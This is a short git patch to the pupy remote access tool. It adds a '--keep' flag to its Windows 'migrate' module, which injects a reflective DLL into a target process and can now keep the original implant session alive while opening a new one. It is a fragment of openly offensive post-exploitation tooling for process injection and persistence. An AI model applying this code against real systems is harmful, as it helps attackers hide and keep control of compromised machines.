From e9daaaac2d4c1ec518ed954516f99e90e6e8afc9 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Wed, 17 Feb 2016 18:07:04 +0100 Subject: [PATCH] add argument to create a new sessions when migrating --- pupy/modules/lib/windows/migrate.py | 4 +++- pupy/modules/migrate.py | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/pupy/modules/lib/windows/migrate.py b/pupy/modules/lib/windows/migrate.py index 11a1e70d..e2ee3a72 100644 --- a/pupy/modules/lib/windows/migrate.py +++ b/pupy/modules/lib/windows/migrate.py @@ -8,7 +8,7 @@ def has_proc_migrated(client, pid): return c return None -def migrate(module, pid): +def migrate(module, pid, keep=False): module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") dllbuf=b"" @@ -28,6 +28,8 @@ def migrate(module, pid): module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") + if keep: + return module.success("waiting for a connection from the DLL ...") while True: c=has_proc_migrated(module.client, pid) diff --git a/pupy/modules/migrate.py b/pupy/modules/migrate.py index 9052a6df..61332368 100644 --- a/pupy/modules/migrate.py +++ b/pupy/modules/migrate.py @@ -18,6 +18,7 @@ class MigrateModule(PupyModule): group = self.arg_parser.add_mutually_exclusive_group(required=True) group.add_argument('-c', '--create', metavar='',help='create a new process and inject into it') group.add_argument('pid', nargs='?', type=int, help='pid') + self.arg_parser.add_argument('-k', '--keep', action='store_true' ,help='migrate into the process but create a new session and keep the current pupy session running') def run(self, args): pid=None @@ -27,7 +28,7 @@ class MigrateModule(PupyModule): self.success("%s created with pid %s"%(args.create,pid)) else: pid=args.pid - migrate(self, pid) + migrate(self, pid, args.keep)